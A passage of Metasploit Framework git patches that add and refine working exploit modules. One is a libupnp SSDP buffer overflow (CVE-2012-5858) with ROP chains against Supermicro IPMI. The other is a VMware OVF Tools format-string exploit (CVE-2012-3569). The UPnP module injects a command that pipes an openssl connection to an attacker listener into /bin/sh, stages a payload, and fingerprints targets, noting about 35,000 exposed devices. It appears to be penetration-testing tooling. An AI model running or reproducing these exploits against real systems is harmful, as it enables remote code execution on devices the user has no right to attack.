'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet', @@ -47,7 +47,7 @@ module Metasploit3 # Constructs the payload # def generate - + return super + command_string end From 797e2604a0169068120557a27f414b7a5d44ee0b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:41:45 -0600 Subject: [PATCH 105/129] Fix missing require in reverse_tcp_ssl --- lib/msf/core/handler/reverse_tcp_ssl.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 60f827c7ab..996b619b07 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -1,6 +1,8 @@ require 'rex/socket' require 'thread' +require 'msf/core/handler/reverse_tcp' + module Msf module Handler From 975230c9e7d3144023f69bea96170d4a8c6e934b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:46:20 -0600 Subject: [PATCH 106/129] Add the first module for unique_service_name() --- .../multi/upnp/libupnp_ssdp_overflow.rb | 244 ++++++++++++++++++ 1 file changed, 244 insertions(+) create mode 100644 modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb new file mode 100644 index 0000000000..4e471fbc44 --- /dev/null +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -0,0 +1,244 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the unique_service_name() + function of libupnp's SSDP processor. The libupnp library is used across + thousands of devices and is referred to as the Intel SDK for UPnP + Devices or the Portable SDK for UPnP Devices. + + Due to size limitations on many devices, this exploit uses a separate TCP + listener to stage the real payload. + }, + 'Author' => [ + 'hdm', + 'Alex Eubanks ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-5858' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { + + 'BadChars' => + # Bytes 0-8 are not allowed + [*(0..8)].pack("C*") + + # 0x09, 0x0a, 0x0d are allowed + "\x0b\x0c\x0e\x0f" + + # All remaining bytes up to space are restricted + [*(0x10..0x1f)].pack("C*") + + # Also not allowed + "\x7f\x3a" + + # Breaks our string quoting + "\x22", + + # Unlimited since we stage this over a secondary connection + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + # specific payloads vary widely by device (openssl for IPMI, etc) + } + }, + 'Targets' => + [ + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "Supermicro Onboard IPMI (X7SPA-HF, X9SCL, X9SCM) Intel SDK 1.3.1", { + :callback => :target_supermicro_ipmi_131 + # SSDP response: + # UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.x.x:49160/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + } ] + ], + 'DisclosureDate' => 'Feb 03 2013')) + + register_options( + [ + Opt::RPORT(1900), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) + ], self.class) + end + + def exploit + + unless self.respond_to?(target[:callback]) + print_error("Invalid target specified: no callback function defined") + return + end + + buffer = self.send(target[:callback]) + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") + connect_udp + udp_sock.put(pkt) + + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + + handler + disconnect_udp + end + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_supermicro_ipmi_131 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[1,1] = '"' + buffer[1900,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Restart the service and use openssl to stage the real payload + # Staged because only ~150 bytes of contiguous data are available before mangling + cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" + buffer[432, cmd.length] = cmd + + # Adjust $r3 to point from the bottom of the stack back into our buffer + buffer[304,4] = [0x4009daf8].pack("V") # + # 0x4009daf8: add r3, r3, r4, lsl #2 + # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 + # 0x4009db00: pop {r4, r10, pc} + + # The offset (right-shifted by 2 ) to our command string above + buffer[284,4] = [0xfffffe78].pack("V") # + + # Copy $r3 into $r0 + buffer[316,4] = [0x400db0ac].pack("V") + # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 + # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) + + # Move our stack pointer down so as not to corrupt our payload + buffer[320,4] = [0x400a5568].pack("V") + # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 + # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} + + # Finally return to system() with $r0 pointing to our string + buffer[141,4] = [0x400add8c].pack("V") + + return buffer +=begin + 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev + 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev + 00032000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so + 40015000-40017000 rwxp 00000000 00:00 0 + 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so + 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so + 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so + 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so + 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40036000-40078000 rwxp 00000000 00:00 0 + 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so + 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so + 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so + 40185000-40187000 rwxp 00000000 00:00 0 + bd600000-bd601000 ---p 00000000 00:00 0 + bd601000-bd800000 rwxp 00000000 00:00 0 + bd800000-bd801000 ---p 00000000 00:00 0 + bd801000-bda00000 rwxp 00000000 00:00 0 + bdc00000-bdc01000 ---p 00000000 00:00 0 + bdc01000-bde00000 rwxp 00000000 00:00 0 + be000000-be001000 ---p 00000000 00:00 0 + be001000-be200000 rwxp 00000000 00:00 0 + be941000-be956000 rwxp 00000000 00:00 0 [stack] +=end + + end + + def stage_real_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + stage_real_payload(client) + } + + # Start the listening service + self.service.start + end + + # + # Shut down any running services + # + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + attr_accessor :service +end From 94953d04506404b7886ce9daf773ad912c8b35fb Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:48:13 -0600 Subject: [PATCH 107/129] Fix idents from copypasta --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 4e471fbc44..a799eb3a3c 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -94,9 +94,9 @@ class Metasploit3 < Msf::Exploit::Remote pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + - "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) - "Man:\"ssdp:discover\"\r\n" + - "MX:3\r\n\r\n" + "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n" print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") connect_udp From 214a60aa01e7286a0cca4f61ac6af768f9ac6373 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:52:33 -0600 Subject: [PATCH 108/129] iFix spacing --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index a799eb3a3c..30f9146db2 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote Devices or the Portable SDK for UPnP Devices. Due to size limitations on many devices, this exploit uses a separate TCP - listener to stage the real payload. + listener to stage the real payload. }, 'Author' => [ 'hdm', @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + - "ST:uuid:schemas:device:" + buffer + ":" + "end" + "\r\n" + # Rex::Text.rand_text_alpha(3) + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" From 1f227243b8a2d7ea724b3f72e38ffb14011fbe61 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 17:54:25 -0600 Subject: [PATCH 109/129] Make it clear BadChars are ignored --- .../multi/upnp/libupnp_ssdp_overflow.rb | 27 ++++++++++--------- 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 30f9146db2..6e6202a3ab 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -38,18 +38,21 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => true, 'Payload' => { - - 'BadChars' => - # Bytes 0-8 are not allowed - [*(0..8)].pack("C*") + - # 0x09, 0x0a, 0x0d are allowed - "\x0b\x0c\x0e\x0f" + - # All remaining bytes up to space are restricted - [*(0x10..0x1f)].pack("C*") + - # Also not allowed - "\x7f\x3a" + - # Breaks our string quoting - "\x22", +# +# # The following BadChars do not apply since we stage the payload +# # through a secondary connection. This is just for reference. +# +# 'BadChars' => +# # Bytes 0-8 are not allowed +# [*(0..8)].pack("C*") + +# # 0x09, 0x0a, 0x0d are allowed +# "\x0b\x0c\x0e\x0f" + +# # All remaining bytes up to space are restricted +# [*(0x10..0x1f)].pack("C*") + +# # Also not allowed +# "\x7f\x3a" + +# # Breaks our string quoting +# "\x22", # Unlimited since we stage this over a secondary connection 'Space' => 8000, From 9e491f0b1c58129f9464245dfdd089874329ffef Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 18:03:19 -0600 Subject: [PATCH 110/129] Add a fingerprint string and more comments --- .../multi/upnp/libupnp_ssdp_overflow.rb | 21 ++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 6e6202a3ab..e5b2f8fcce 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -68,12 +68,23 @@ class Metasploit3 < Msf::Exploit::Remote # # ROP targets are difficult to represent in the hash, use callbacks instead # - [ "Supermicro Onboard IPMI (X7SPA-HF, X9SCL, X9SCM) Intel SDK 1.3.1", { - :callback => :target_supermicro_ipmi_131 + [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { + + # The callback handles all target-specific settings + :callback => :target_supermicro_ipmi_131, + + # This matches the Server header of a SSDP reply + :fingerprint_server => + /Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/ + + # # SSDP response: - # UPnP/1.0, Intel SDK for UPnP devices/1.3.1 - # http://192.168.x.x:49160/IPMIdevicedesc.xml - # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.xx.xx:49152/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + + # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + } ] ], 'DisclosureDate' => 'Feb 03 2013')) From c24da99104bf89802a6cb1934fc26ae2b07bfea4 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 18:13:28 -0600 Subject: [PATCH 111/129] Update authors, add Richard (thanks!) --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index e5b2f8fcce..7ddbff922f 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -25,8 +25,9 @@ class Metasploit3 < Msf::Exploit::Remote listener to stage the real payload. }, 'Author' => [ - 'hdm', - 'Alex Eubanks ' + 'hdm', # Exploit dev for Supermicro IPMI + 'Alex Eubanks ' # Exploit dev for Supermicro IPMI + 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI ], 'License' => MSF_LICENSE, 'References' => From 42c8a2d2655609563133138d6e8dfc78046d4a28 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 18:17:51 -0600 Subject: [PATCH 112/129] Add VU and blog references --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 7ddbff922f..efc99b7ec0 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2012-5858' ] + [ 'CVE', '2012-5858' ], + [ 'US-CERT-VU', '922681' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, From 0660347fca6afab5e3640c95722b06dd0409311e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 21:06:57 -0600 Subject: [PATCH 113/129] Explicit mult-line match --- modules/auxiliary/scanner/upnp/ssdp_msearch.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index fba5a396e7..4899016978 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary "ST:upnp:rootdevice\r\n" + "Man:\"ssdp:discover\"\r\n" + "MX:3\r\n" + - "\r\n\r\n" # Non-standard, but helps + "\r\n" end def scanner_prescan(batch) @@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary } } - if data =~ /^Server:[\s]*(.*)/i + if data =~ /^Server:[\s]*(.*)/mi @results[skey][:info][:server] = $1.strip end ssdp_host = nil ssdp_port = 80 location_string = '' - if data =~ /^Location:[\s]*(.*)/i + if data =~ /^Location:[\s]*(.*)/mi location_string = $1 @results[skey][:info][:location] = $1.strip if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/] @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary end end - if data =~ /^USN:[\s]*(.*)/i + if data =~ /^USN:[\s]*(.*)/mi @results[skey][:info][:usn] = $1.strip end From 9379c68e512c78f3d94f1baad86445de5dc690a1 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 21:23:05 -0600 Subject: [PATCH 114/129] Fix typo, auto-fingerprint, unconnected sockets --- .../multi/upnp/libupnp_ssdp_overflow.rb | 109 +++++++++++++++--- 1 file changed, 92 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index efc99b7ec0..85df37ca44 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -10,8 +10,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::Udp - def initialize(info = {}) super(update_info(info, 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', @@ -26,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'hdm', # Exploit dev for Supermicro IPMI - 'Alex Eubanks ' # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI ], 'License' => MSF_LICENSE, @@ -68,6 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Targets' => [ + + [ "Automatic", { } ], + # # ROP targets are difficult to represent in the hash, use callbacks instead # @@ -76,9 +77,9 @@ class Metasploit3 < Msf::Exploit::Remote # The callback handles all target-specific settings :callback => :target_supermicro_ipmi_131, - # This matches the Server header of a SSDP reply - :fingerprint_server => - /Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/ + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*(.*|Linux\/2\.6\.17\.WB_WPCM450\.1\.3) UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi # # SSDP response: @@ -90,44 +91,52 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], - 'DisclosureDate' => 'Feb 03 2013')) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) register_options( [ + Opt::RHOST(), Opt::RPORT(1900), OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) ], self.class) end + def exploit - unless self.respond_to?(target[:callback]) + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) print_error("Invalid target specified: no callback function defined") return end - buffer = self.send(target[:callback]) + buffer = self.send(target_info[:callback]) pkt = "M-SEARCH * HTTP/1.1\r\n" + "Host:239.255.255.250:1900\r\n" + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + "Man:\"ssdp:discover\"\r\n" + - "MX:3\r\n" + "MX:3\r\n\r\n" - print_status("Sending #{pkt.length} bytes to #{rhost}:#{rport}...") - connect_udp - udp_sock.put(pkt) + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) 1.upto(5) do ::IO.select(nil, nil, nil, 1) break if session_created? end - handler - disconnect_udp + # No handler() support right now end + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc def target_supermicro_ipmi_131 @@ -135,8 +144,8 @@ class Metasploit3 < Msf::Exploit::Remote buffer = Rex::Text.rand_text_alpha(2000) # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() - buffer[1,1] = '"' - buffer[1900,1] = '"' + buffer[0,1] = '"' + buffer[1999,1] = '"' # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) @@ -257,5 +266,71 @@ class Metasploit3 < Msf::Exploit::Remote end end + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + end From 191eed88bc57bc6587fb7527944c0304a0ff57e6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 21:50:03 -0600 Subject: [PATCH 115/129] Fix liberal matching expression on target --- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 85df37ca44..b473cb3691 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote # This matches any line of the SSDP M-SEARCH response :fingerprint => - /Server:\s*(.*|Linux\/2\.6\.17\.WB_WPCM450\.1\.3) UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi + /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi # # SSDP response: From 4c8811bb8a6db6b50499b85a1d9d1f3f9f953297 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 23:24:44 -0600 Subject: [PATCH 116/129] Add a debug target --- .../exploits/multi/upnp/libupnp_ssdp_overflow.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index b473cb3691..da5e539930 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -89,7 +89,15 @@ class Metasploit3 < Msf::Exploit::Remote # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + } ] + ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 29 2013')) @@ -214,6 +222,11 @@ class Metasploit3 < Msf::Exploit::Remote end + # Generate a buffer that provides a starting point for exploit development + def target_debug + buffer = Rex::Text.pattern_create(2000) + end + def stage_real_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") From 135718a97b9c0242f5f2c615090507b3498e5209 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Feb 2013 16:36:33 +0100 Subject: [PATCH 117/129] Added module for cve-2012-3569, fileformat version --- .../windows/fileformat/ovf_format_string.rb | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 modules/exploits/windows/fileformat/ovf_format_string.rb diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb new file mode 100644 index 0000000000..cbd21fed2a --- /dev/null +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), + ], self.class) + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") + file_create(ovf) + end +end From e0d4bb57990db69576719389753adf4d24690404 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Feb 2013 16:37:42 +0100 Subject: [PATCH 118/129] Added module for cve-2012-3569, browser version --- .../windows/browser/ovftool_format_string.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/exploits/windows/browser/ovftool_format_string.rb diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb 